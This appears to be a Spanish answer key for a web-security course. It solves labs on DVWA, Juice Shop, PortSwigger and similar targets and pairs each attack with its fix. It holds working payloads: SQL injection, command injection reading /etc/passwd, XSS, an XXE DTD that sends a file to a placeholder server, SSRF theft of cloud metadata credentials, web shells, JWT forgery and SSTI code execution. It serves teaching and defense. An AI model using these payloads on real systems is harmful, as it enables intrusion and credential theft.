Estas son claves de referencia para el instructor y para autoevaluación. Intenta resolver cada reto y ejercicio por tu cuenta antes de mirar aquí: el valor está en el proceso, no en la respuesta. Puede haber más de una solución correcta; lo que sigue es una guía técnicamente válida.
Volver al índice de la parte: ../classes/parte-4-seguridad-de-aplicaciones-web/README.md
Marco ético (obligatorio). Todo lo que sigue se practica solo sobre aplicaciones propias o explícitamente autorizadas: DVWA, OWASP Juice Shop, crAPI/VAmPI/DVGA, NodeGoat y los laboratorios oficiales de PortSwigger Web Security Academy (que autorizan su uso). Nunca apuntes herramientas ni payloads a sistemas de terceros sin permiso escrito. Trabaja en una VM o contenedor aislado, sin exponer los labs a Internet.
Objetivo: diagrama de superficie de ataque de Juice Shop con ≥12 puntos de entrada, fronteras de confianza y tabla de endpoints priorizada.
Pasos:
docker run --rm -d -p 3000:3000 bkimminich/juice-shop.HTTP history filtrando /rest/ y /api/.main.js) para extraer rutas embebidas y roles (admin, accounting) que no salen navegando./rest, /api) → base de datos (SQLite) → servicios (envío de mail, almacenamiento de imágenes). Traza la frontera de confianza justo detrás de la API.auth requerida (sí/no) y sensibilidad 1–3.Evidencia que cumple el criterio: diagrama con las 4 zonas y fronteras marcadas + tabla con ≥12 filas donde cada endpoint tiene método, columna de autenticación y nivel 1–3 (p. ej. POST /rest/user/login = no auth, sensibilidad 3; GET /api/Products = no auth, 1; GET /rest/basket/{id} = auth, 3).
?q= de búsqueda, cuerpo JSON de login, header Authorization: Bearer, cookie token/continueCode, path param /api/Products/{id}, header Content-Type, campo de feedback, campo de nombre de archivo en la subida, header Host, header User-Agent, parámetro de orden/paginación, campo de cupón./rest/admin/application-configuration, /api/Quantitys, /rest/products/search. Se hallan buscando cadenas '/rest/ y '/api/ en main.js.Authorization (o cookie) desde el login, viaja cliente→API y se valida en cada endpoint autenticado; no debe llegar a la base de datos como dato ni loguearse.169.254.169.254 (AWS IMDS, GCP con header Metadata-Flavor: Google, Azure ?api-version). Sensible porque entrega credenciales temporales de la instancia; alcanzable vía SSRF si no se protege (usar IMDSv2 con token).Objetivo: matriz Top 10 (2021) con ejemplo, CWE principal y control por categoría.
| # | Categoría | Ejemplo concreto | CWE | Control (causa raíz) |
|---|---|---|---|---|
| A01 | Broken Access Control | IDOR: /account?id=124 muestra datos ajenos |
CWE-284/639 | Authz por objeto en servidor (comprobar propietario) |
| A02 | Cryptographic Failures | Contraseñas en MD5 sin sal | CWE-327/916 | Argon2id/bcrypt, TLS, cifrado en reposo |
| A03 | Injection (incluye XSS) | '' OR 1=1-- en login |
CWE-89/79 | Consultas parametrizadas + codificación de salida |
| A04 | Insecure Design | Recuperación de cuenta solo con pregunta secreta | CWE-657 | Modelado de amenazas y requisitos de seguridad |
| A05 | Security Misconfiguration | Directory listing y panel admin por defecto | CWE-16 | Hardening, deshabilitar defaults, IaC revisada |
| A06 | Vulnerable/Outdated Components | Librería con CVE conocido sin parchear | CWE-1104 | SCA/SBOM y actualización continua |
| A07 | Identification & Auth Failures | Sin bloqueo ante fuerza bruta | CWE-287 | MFA, rate limiting, gestión de sesión robusta |
| A08 | Software & Data Integrity Failures | Deserialización insegura / update sin firma | CWE-502 | Firmas, verificación de integridad, no deserializar input |
| A09 | Security Logging & Monitoring Failures | Login fallidos sin registrar | CWE-778 | Logging de eventos de seguridad + alertas |
| A10 | SSRF | url=http://169.254.169.254/... |
CWE-918 | Allowlist de destinos, bloqueo de IP internas |
Evidencia que cumple el criterio: 10 filas completas, ejemplos distintos y realistas, cada control ataca la causa (no el síntoma).
Objetivo: fuerza bruta con Intruder al login de DVWA (50 contraseñas) detectando la válida por anomalía de longitud/código.
Pasos:
Security: Low para el ejercicio de fuerza bruta (módulo Brute Force).GET /vulnerabilities/brute/?username=admin&password=x&Login=Login en Proxy y envíalo a Intruder.password.password, para el lab).Evidencia que cumple el criterio: captura de Intruder mostrando la fila anómala (longitud distinta) con admin:password, documentando la posición de payload y el filtro/columna usada para detectarla (grep-match "Welcome" opcional).
X-Mi-Cabecera: test para inyectarla en toda petición.5xx.Objetivo: reporte ZAP de Juice Shop con ≥3 alertas medio/alto verificadas manualmente y ≥1 falso positivo descartado.
Pasos:
http://localhost:3000 en scope. Ejecuta Spider tradicional + AJAX Spider (Juice Shop es SPA, necesita AJAX)./rest/products/search?q=, exposición de información.q=';--), comprueba en DevTools que falta la CSP, etc.Report → Generate Report.Evidencia que cumple el criterio: reporte con 3 alertas medio/alto y, por cada una, la reproducción manual (captura de la petición/respuesta) + el falso positivo con su justificación.
-c fichero de reglas.logout/signout para no cerrar la sesión.Objetivo: inventario de ≥5 rutas de Juice Shop no descubribles solo navegando.
Pasos:
ffuf -w common.txt -u http://localhost:3000/FUZZ -mc 200,301,403.main.js) buscando cadenas /rest/ y /api/ para extraer endpoints ocultos.ffuf -w params.txt -u 'http://localhost:3000/rest/products/search?FUZZ=x' filtrando por tamaño.Rutas de ejemplo: /ftp (directory listing), /rest/admin/application-configuration, /api/Feedbacks, /rest/products/reviews, /metrics (Prometheus).
Evidencia que cumple el criterio: tabla de ≥5 rutas, cada una con método de descubrimiento + evidencia + hipótesis de por qué podría ser vulnerable (p. ej. /ftp → exposición de archivos; application-configuration → filtración de config).
directory-list-2.3-medium.txt (~220k) descubre muchas más rutas que common.txt (~4.7k) a costa de mucho más ruido/tiempo.-fs <tamaño> (filter size) elimina las respuestas "not found" personalizadas que devuelven 200 con un tamaño constante.subfinder -d midominio.com (sobre un dominio propio) enumera subdominios pasivamente.id, admin, debug.403 indica que el recurso existe pero está prohibido (hay algo que proteger); un 404 no existe. El 403 es una pista de superficie interesante (posible bypass de authz).Objetivo: extraer usuarios y hashes de users en DVWA vía UNION SQLi y reescribir la consulta de forma segura.
Pasos:
1' OR '1'='1.1' ORDER BY 1-- -, incrementando hasta el error (en DVWA son 2).1' UNION SELECT user, password FROM users-- -.hashcat -m 0 hashes.txt rockyou.txt.$stmt = $pdo->prepare('SELECT first_name,last_name FROM users WHERE user_id = ?'); $stmt->execute([$id]);.Evidencia que cumple el criterio: listado exfiltrado (usuario:hash y contraseña crackeada), el payload UNION exacto y el código con prepared statements que ya no permite inyección.
-- (con espacio) o #; errores mencionan You have an error in your SQL syntax. MSSQL usa --, errores con Unclosed quotation. Oracle no permite LIMIT, usa ROWNUM.admin' UNION SELECT NULL, password FROM users WHERE user='admin'-- -, luego hashcat -m 0 (MD5) con rockyou.... UNION SELECT database(), NULL-- - (MySQL).ORDER BY N ordena por la columna N; cuando N supera el número de columnas, el motor devuelve error, revelando el conteo exacto necesario para el UNION.prepare(...); execute([$id]) con PDO. Python: cursor.execute("SELECT ... WHERE id=%s", (id,)) (nunca concatenar).extractvalue/updatexml en MySQL).Objetivo: extraer la contraseña de administrator en un lab de blind SQLi de PortSwigger con solo condiciones booleanas.
Pasos:
TrackingId inyectable).... AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=20.... AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') > 'm' y refina.Evidencia que cumple el criterio: contraseña recuperada, configuración de Intruder (posiciones y payload set), número de peticiones y el lab marcado como resuelto.
=) ≈ 20 × alfabeto (~95) peticiones. Registra el total real de tu ataque.>: ~log2(95) ≈ 7 peticiones por carácter → ~140 en total, mucho menos que la lineal.... AND IF(cond, SLEEP(5), 0); MSSQL ... IF(cond) WAITFOR DELAY '0:0:5'; PostgreSQL ... AND CASE WHEN cond THEN pg_sleep(5) ELSE 0 END.admin'--; el payload no se ejecuta al insertar, sino después cuando otra consulta reutiliza ese valor almacenado sin parametrizar.Objetivo: volcar la tabla de usuarios de DVWA con sqlmap desde una request de Burp y reproducir manualmente un payload.
Pasos:
Copy to file → req.txt), incluyendo la cookie de sesión.sqlmap -r req.txt --batch --dbms=mysql -D dvwa -T users --dump.-v 3), por ejemplo un UNION o un boolean-based, y ejecútalo a mano en el navegador entendiendo cada parte.Evidencia que cumple el criterio: CSV volcado (usuarios+hashes), el comando exacto y la explicación de un payload concreto de sqlmap (qué hace cada cláusula), no solo "funcionó".
--banner devuelve versión y motor exacto.--technique=BT fuerza solo Boolean+Time; comparado con la detección automática, verás qué técnicas descarta o usa por defecto.--tamper=space2comment sustituye espacios por /**/ para evadir filtros que bloquean el espacio.--dump -D dvwa -T users --where "user='admin'" vuelca solo esa fila.--os-shell intenta subir un stager y ejecutar comandos en el SO: es RCE, muy destructivo y fuera de scope salvo autorización explícita; no usar en bug bounty sin permiso.Objetivo: bypass de autenticación NoSQL + extracción parcial de credencial con $regex ciega.
Pasos:
{"username":"admin","password":{"$ne":null}} o {"$gt":""} para lograr login sin conocer la contraseña.admin (respuesta/token de sesión válido).$regex: envía {"username":"admin","password":{"$regex":"^a"}} y observa si el login es exitoso; itera el primer carácter con ^X, luego ^aX, etc., reconstruyendo el valor.Evidencia que cumple el criterio: prueba del login sin contraseña (captura de la respuesta autenticada) + los primeros caracteres del valor real recuperados con $regex, documentando cada payload.
{"password":{"$ne":null}}. En query string (parseada como objeto por qs): password[$ne]=. Mismo operador, distinta serialización.$regex blind: por cada posición prueba ^chars{i}[a-z0-9] fijando el prefijo hallado; ~alfabeto × 8 intentos.{"$gt":""} funciona porque toda cadena real es "mayor que" la cadena vacía, así que el operador siempre matchea un usuario existente.if (typeof req.body.password !== 'string') return 400; (rechazar objetos), o usar Mongoose con esquema tipado y sanitize.$where ejecuta JavaScript arbitrario del lado servidor sobre cada documento: lento y peligroso (permite inyección de JS); desaconsejado/deshabilitado en prod.Objetivo: RCE en DVWA Medium (filtra algunos caracteres) evadiendo el filtro y leyendo /etc/passwd.
Pasos:
&& y ;. Usa un separador alternativo permitido: | (pipe) o %0a (newline). Ejemplo en el campo IP: 127.0.0.1 | cat /etc/passwd.${IFS}: 127.0.0.1|cat${IFS}/etc/passwd./etc/passwd en la respuesta.escapeshellarg() y valida con allowlist de IP; idealmente reemplaza el ping por una librería que no invoque shell.Evidencia que cumple el criterio: payload que evade el filtro Medium, captura de /etc/passwd leído, y el código corregido (validación estricta + sin shell=True/sin concatenar al shell).
; (ejecuta secuencial), && (ejecuta si el anterior tuvo éxito), || (si falló), | (pipe: encadena stdout→stdin), `/$() (sustitución de comando: ejecuta e inserta la salida).127.0.0.1 & ping -c 10 127.0.0.1 o ; sleep 10; si la respuesta tarda ~10s, hay ejecución.&, y la variable de nombre de equipo es %COMPUTERNAME% (ver nota de erratas: el README dice %COMPUSER%, que no existe). Para el usuario, %USERNAME%.--output a curl) para alterar su comportamiento.subprocess.run(["ping","-c","1", ip], shell=False) pasando lista de argumentos; nunca shell=True con string concatenado.ipaddress.ip_address(x)); rechaza cualquier carácter que no sea dígito o punto antes de usar el valor.Objetivo: lab de XSS reflejado de PortSwigger que exija escapar de un contexto y ejecutar alert(document.cookie).
Pasos:
value="...", dentro de <script>, o cuerpo HTML)."><svg onload=alert(document.cookie)>.var x='INPUT'): rompe la cadena: '-alert(document.cookie)-' o ';alert(document.cookie);//.Evidencia que cumple el criterio: lab resuelto + explicación del contexto de inyección, el payload y la codificación de salida que lo prevendría (HTML-encode en cuerpo, attribute-encode en atributos, JS-string-escape en script).
" autofocus onfocus=alert(1) x=". Script: ';alert(1)//.script: eventos sin script (<img src=x onerror=alert(1)>), o mayúsculas/anidado si el filtro es ingenuo (<scr<script>ipt>).document.cookie lea la cookie desde JS, mitigando el robo de sesión; pero el XSS sigue ejecutándose y puede hacer acciones en nombre del usuario (keylogging, peticiones autenticadas).Content-Security-Policy: script-src 'self' sin 'unsafe-inline' impide ejecutar el onerror/inline; obliga a scripts propios.htmlspecialchars() en PHP, autoescape de la plantilla) para que el input se muestre como texto, no como marcado.Objetivo: XSS almacenado en Juice Shop que ejecute una acción en nombre de otro usuario, y su corrección.
Pasos:
alert: <img src=x onerror="fetch('/rest/basket/OTHER',{...})"> o que llame a un endpoint de cambio.Evidencia que cumple el criterio: payload persistente disparándose en una segunda sesión y realizando una acción, con source, sink y defensa identificados.
innerHTML, outerHTML, document.write, eval, setTimeout(string), location/location.href, element.setAttribute('src'/'href', ...). Ejecutan/interpretan datos como código o marcado.# (location.hash) que un innerHTML inserta en la página; el # no se envía al servidor, así que el backend nunca ve el payload.DOMPurify.sanitize(input) elimina el marcado peligroso; demuestra que tu <img onerror> se convierte en texto inerte.dangerouslySetInnerHTML reintroduce XSS al inyectar HTML crudo sin sanitizar.Content-Security-Policy: require-trusted-types-for 'script' obliga a pasar los sinks del DOM por una policy que sanitiza.Objetivo: lab CSRF de PortSwigger con defensa parcial (token mal validado) para cambiar el email de la víctima.
Pasos:
<form> auto-enviado hacia el endpoint de cambio de email, incluyendo el token robado/omitido según la debilidad.Evidencia que cumple el criterio: lab resuelto, PoC funcional y explicación de la debilidad concreta del token (p. ej. "no se ata a la sesión") y su corrección (token sincronizado por sesión, verificar valor).
<img src="https://app/change?email=x">. PoC POST: <form action=... method=POST><input name=email value=x><\/form><script>form.submit()</script>.SameSite=Strict no envía la cookie en navegación cross-site, lo que rompe flujos legítimos como llegar logueado desde un enlace externo; Lax es el compromiso habitual.Content-Type: application/json no es CSRF-eable con formularios HTML simples (no pueden fijar ese content-type sin preflight CORS); sí lo es si acepta text/plain o form-encoded.SameSite=Lax/Strict + verificar cabecera Origin/Referer.Objetivo: lab SSRF de PortSwigger que acceda al endpoint de metadata y use las credenciales para completar el objetivo.
Pasos:
stockApi=http://...).http://169.254.169.254/latest/meta-data/..../iam/security-credentials/ → nombre del rol → credenciales (AccessKeyId, SecretAccessKey, Token).Evidencia que cumple el criterio: lab resuelto, la URL SSRF usada, el dato/credencial extraído y la defensa (allowlist de destinos, bloqueo de 169.254.0.0/16 y rangos privados, no seguir redirecciones, IMDSv2).
127.0.0.1: usar http://localhost, http://0.0.0.0, http://127.1, notación decimal http://2130706433, o IPv6 http://[::1].169.254.169.254; si el servidor sigue redirects, salta el allowlist.Objetivo: lab de XXE ciega de PortSwigger exfiltrando un archivo mediante DTD externo alojado por ti.
Pasos:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://TU-SERVER/?x=%file;'>">
%eval;
%exfil;
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://TU-SERVER/malicious.dtd"> %xxe;]>.Evidencia que cumple el criterio: lab resuelto, el DTD externo, el payload y el dato exfiltrado, más la config de parser segura (deshabilitar DOCTYPE/DTD y entidades externas).
/etc/hostname revela el nombre del host (bajo impacto); /etc/passwd confirma lectura de archivos del sistema y usuarios (mayor impacto/prueba de LFI).<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> usa el parser para pedir el metadata.factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Python: usar defusedxml o resolve_entities=False en lxml.Objetivo: lab de PortSwigger de enumeración + fuerza bruta (o bypass de MFA) accediendo a la cuenta objetivo.
Pasos:
Evidencia que cumple el criterio: lab resuelto, la señal que reveló el usuario válido (o el fallo de MFA), la credencial/técnica y los controles que lo evitarían (mensajes genéricos, rate limiting, MFA robusto).
Objetivo: demostrar session fixation o token válido tras logout, y su corrección.
Pasos (session fixation):
Pasos (token tras logout): copia el token, haz logout, reenvía una petición autenticada con el token; si sigue funcionando, el logout no invalida en servidor.
Evidencia que cumple el criterio: mismo token antes/después de login (fixation) o reuso tras logout, más la defensa (rotar el ID en el login, invalidar en servidor al cerrar sesión).
Secure (solo HTTPS), HttpOnly (no accesible por JS), SameSite (anti-CSRF), Path/Domain (alcance), Expires/Max-Age (duración).Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age corto, ID de ≥128 bits, rotación en login y timeout de inactividad breve.Objetivo: lab JWT de PortSwigger (alg:none, clave débil o confusión) escalando a admin.
Pasos:
{"alg":"none"}, edita "role":"admin" (o sub:administrator) y elimina la firma.
- Clave débil (HS256): crackea el secreto con hashcat -m 16500 + wordlist, luego firma un token admin.
- Confusión RS256→HS256: firma con HS256 usando la clave pública como secreto.Evidencia que cumple el criterio: lab resuelto, el token forjado, el ataque usado y la corrección (verificar firma, fijar el alg esperado en servidor, secreto fuerte, no aceptar none).
{"alg":"none"}, sin firma; si el server lo acepta, cualquier payload es válido.hashcat -m 16500 token.txt rockyou.txt; con el secreto, forjas cualquier token.exp (expiración), iss (emisor), aud (audiencia): si no se validan, un token caducado o de otro servicio/audiencia se acepta indebidamente.Objetivo: lab OAuth de PortSwigger (redirect_uri débil o falta de state) para tomar la cuenta de otro usuario.
Pasos:
redirect_uri y state.https://legit.com.attacker.com o .../callback/../evil), capturando el code/token de la víctima.Evidencia que cumple el criterio: lab resuelto, el flujo interceptado, el parámetro abusado y la defensa (allowlist exacta de redirect_uri, state obligatorio y verificado, PKCE).
code_verifier→code_challenge; /authorize?response_type=code&client_id&redirect_uri&scope&state&code_challenge&code_challenge_method=S256; usuario consiente; vuelve code; cliente hace /token con code+code_verifier; recibe tokens.redirect_uri=https://app.com.evil.com pasa un startsWith("https://app.com") ingenuo; por eso hay que comparar la URL exacta.state, el atacante fuerza el callback y asocia su identidad social a la sesión de la víctima → account hijacking (login CSRF).access_token (acceso a recursos/API), id_token (identidad, OIDC, JWT con claims del usuario), refresh_token (obtener nuevos access tokens sin re-login).code en clientes públicos (SPA/móvil) donde no hay client secret: aunque roben el code, sin el code_verifier no lo canjean. Imprescindible en clientes públicos.Objetivo: resolver un IDOR (datos de otro usuario) y un path traversal (leer archivo del sistema) en PortSwigger.
Pasos (IDOR):
/account?id=124, /download?docId=...).Pasos (path traversal):
?filename=image.jpg) inyecta ../../../../etc/passwd.../, prueba codificación (%2e%2e%2f), doble codificación o ....//.Evidencia que cumple el criterio: ambos labs resueltos, el identificador/ruta manipulados, la evidencia del acceso no autorizado y la defensa (authz por objeto comprobando propietario, canonicalización y validación de rutas).
../: ..%2f, ..%252f (doble), o ....// (que tras eliminar ../ deja ../)./admin o /admin/deleteUser aunque no haya enlace; si carga, falta control de función.GET /admin está bloqueado, prueba POST/PUT; algunos controles solo cubren un método.WHERE owner_id = session.user), no confiar en el ID del cliente.Objetivo: lab de deserialización de PortSwigger, primero manipulación de atributos y, si llegas, RCE con gadget chain.
Pasos (manipulación):
admin de false a true o cambia el user.Pasos (RCE): genera un payload con ysoserial (Java) usando una gadget chain presente en el classpath (p. ej. CommonsCollections) y envíalo al endpoint que deserializa.
Evidencia que cumple el criterio: al menos el lab de manipulación resuelto con evidencia del cambio de privilegio; documenta el formato serializado y por qué deserializar input no confiable es la causa raíz.
O:4:"User":2:{s:5:"admin";b:0;...}): cambia b:0 (false) por b:1 (true) ajustando longitudes; escala privilegio.ysoserial CommonsCollections6 'command' genera un objeto Java que, al deserializarse, ejecuta el comando vía esa cadena.pickle.loads sobre datos externos ejecuta __reduce__ de clases arbitrarias durante la deserialización → RCE directo; nunca deserializar pickle no confiable.__wakeup, __destruct, __toString; Java readObject; Python __reduce__, __setstate__. Se ejecutan automáticamente al deserializar.Objetivo: lab SSTI de PortSwigger con fingerprint + RCE que ejecute un comando.
Pasos:
${7*7}, {{7*7}}, <%= 7*7 %>; si devuelve 49, hay evaluación server-side.{{7*'7'}} → 7777777 en Jinja2/Python, 49 en Twig).{{ ''.__class__.__mro__[1].__subclasses__() }} → localiza subprocess.Popen/os y ejecuta el comando.Evidencia que cumple el criterio: lab resuelto, motor identificado, la cadena de payloads y la defensa (sandbox del motor, separar datos de plantilla, usar motor logic-less).
{{7*7}} que devuelve 49 indica evaluación de plantilla; un reflejo simple mostraría literalmente {{7*7}}.{{7*'7'}} → 7777777 (Jinja2/Python), pero 49 (Twig/PHP). Otros: #{7*7} (Ruby/Slim), ${7*7} (Freemarker/JSP).''.__class__ (str) → .__mro__ (jerarquía, object) → .__subclasses__() (todas las clases cargadas) → buscar una que dé acceso a os/subprocess.{{7*7}} en SSTI se evalúa en el servidor (motor de plantillas → RCE); en XSS el sink es el navegador. Mismo payload visible, distinto lugar de ejecución.Objetivo: RCE subiendo una web shell en DVWA Medium o PortSwigger evadiendo ≥1 validación.
Pasos:
Content-Type. Sube un shell.php interceptando la petición y cambiando el Content-Type a image/jpeg.shell.php.jpg, shell.pHp, o extensiones alternativas (.phtml, .php5)./hackable/uploads/shell.php?cmd=id) y ejecuta un comando.Evidencia que cumple el criterio: archivo subido, la validación evadida (Content-Type/extensión), evidencia de ejecución de comando y la corrección.
.php, .php5, .phtml, .phar, .pht (según config del servidor).image/jpeg en la petición. Evadir magic bytes: anteponer la firma GIF89a; o los bytes JPEG al inicio del archivo, seguido del código.<svg xmlns="..."><script>alert(document.domain)</script></svg>; si se sirve inline, es XSS almacenado.../ en el nombre: ../../shell.php intenta escribir fuera del directorio de subida (path traversal en el upload).Objetivo: lab de lógica de negocio de PortSwigger (precio, flow bypass o race condition) demostrando el beneficio indebido.
Pasos:
Evidencia que cumple el criterio: lab resuelto, la regla de negocio vulnerada, la petición manipulada/paralela y la defensa (validar y recalcular en servidor, idempotencia, bloqueos/locks).
POST /order/confirm saltándolo.Objetivo: en crAPI (o VAmPI), lograr acceso a datos ajenos vía BOLA y una escalada por mass assignment.
Pasos:
GET /identity/api/v2/vehicle/{id}/location o /user/{id}) por el de otro usuario; recibes sus datos."role":"admin" o "isAdmin":true; si el backend lo bindea, escalas privilegio.Evidencia que cumple el criterio: peticiones, evidencia de acceso no autorizado y de elevación de privilegio, y la defensa (comprobar propiedad del objeto, allowlist de campos aceptados, authz por función).
GET /admin/...) → escálalo.role/credit extra en el body para elevarte (ver reto).Objetivo: en DVGA, obtener el esquema por introspección, explotar authz rota y demostrar bypass de rate limit con batching/alias.
Pasos:
__schema { types { name fields { name } } } para reconstruir el esquema.{ a: login(pw:"1"){ok} b: login(pw:"2"){ok} c: login(pw:"3"){ok} }
Evidencia que cumple el criterio: el esquema extraído, la operación no autorizada con evidencia y el batching que elude el límite, más la defensa (introspección off en prod, authz por resolver, límites de profundidad/complejidad, anti-batching).
__schema); si está deshabilitada, con clairvoyance (infiere campos por mensajes de error de sugerencia).user(id:2){email} de otro usuario. En mutation: updateUser(id:2, ...) sobre otro.posts{comments{author{posts{...}}}}) que satura el resolver.Objetivo: resolver un lab de HTTP request smuggling (CL.TE o TE.CL) y uno de cache poisoning en PortSwigger.
Pasos (smuggling CL.TE):
Content-Length y Transfer-Encoding: chunked en conflicto; el front usa CL y el back usa TE (o viceversa).Pasos (cache poisoning):
X-Forwarded-Host).Evidencia que cumple el criterio: ambos labs resueltos, las peticiones exactas (cabeceras conflictivas / input unkeyed), evidencia del impacto y la defensa (normalizar en el front, rechazar peticiones ambiguas, incluir cabeceras relevantes en la cache key).
X-Forwarded-Host: evil.com reflejada en un <script src> → la respuesta cacheada apunta al script del atacante.Content-Length, el back Transfer-Encoding. TE.CL: al revés. TE.TE: ambos soportan TE pero uno se puede ofuscar para que lo ignore.Content-Length que abarca el cuerpo + Transfer-Encoding: chunked con un chunk 0 prematuro, dejando bytes "colgando" que prefijan la siguiente petición.Objetivo: resolver un lab de CORS (exfiltrar datos autenticados) y uno de prototype pollution que escale a XSS.
Pasos (CORS):
Origin y responde Access-Control-Allow-Credentials: true.fetch('https://victima/account', {credentials:'include'}) y exfiltra la respuesta a tu servidor.Pasos (prototype pollution):
Object.prototype desde un parámetro (?__proto__[x]=y o JSON {"__proto__":{"x":"y"}}).innerHTML o script src) → XSS.Evidencia que cumple el criterio: ambos labs resueltos, el exploit CORS con credentials, el source→gadget de la contaminación y las defensas por vector.
fetch(..., {credentials:'include'}) y roba la respuesta autenticada.window.addEventListener('message', e => eval(e.data)) sin comprobar e.origin permite que cualquier origen inyecte datos/código.Object.prototype: obj.__proto__.polluted = true o vía ?__proto__[polluted]=true; comprueba con ({}).polluted.config.transport_url o srcdoc) y termina en un sink de HTML/script → XSS.child_process/require) o DoS; en el cliente típicamente escala a XSS.event.origin en postMessage, y Object.freeze(Object.prototype) / usar Map en vez de objetos para datos externos.Objetivo: reporte de bug bounty completo y reproducible de una vulnerabilidad hallada en tu laboratorio, con CVSS y remediación.
Estructura del reporte:
Evidencia que cumple el criterio: reporte donde un tercero reproduce el bug siguiendo solo tus pasos; incluye título, impacto, PoC, CVSS justificado y remediación accionable.
subfinder -d target | httpx | katana (crawl) + ffuf (dirbusting) + análisis de JS; solo sobre scope autorizado.AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N ≈ 6.x Medium; explica cada métrica (vector red, sin privilegios altos, requiere interacción, scope cambiado por afectar a otros).Objetivo: corregir ≥3 vulnerabilidades de categorías distintas en una app vulnerable y verificar que el ataque original ya no funciona.
Pasos (ejemplo con 3 fallos):
' OR 1=1-- ya no altera la query.WHERE owner_id = session.user). Verifica que cambiar el ID devuelve 403.Evidencia que cumple el criterio: diff/código corregido de los 3 fallos, demostración de que el exploit previo falla tras el cambio, y el mapeo de cada corrección a su categoría OWASP (A03, A03, A01) y requisito ASVS (V5.3, V5.3, V4.2).
$pdo->prepare('... WHERE id=?')->execute([$id]); Python cursor.execute('... WHERE id=%s',(id,)). Nunca concatenar.Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self' (sin unsafe-inline, usar nonces si hace falta).Secure; HttpOnly; SameSite=Strict/Lax; Path=/; Max-Age corto, ID de alta entropía; justificado por confidencialidad y anti-CSRF/anti-XSS-robo.Fin de las soluciones de la Parte 4. Recuerda: el objetivo del laboratorio es entender la causa raíz y la defensa, no coleccionar exploits. Practica siempre sobre entornos propios o autorizados.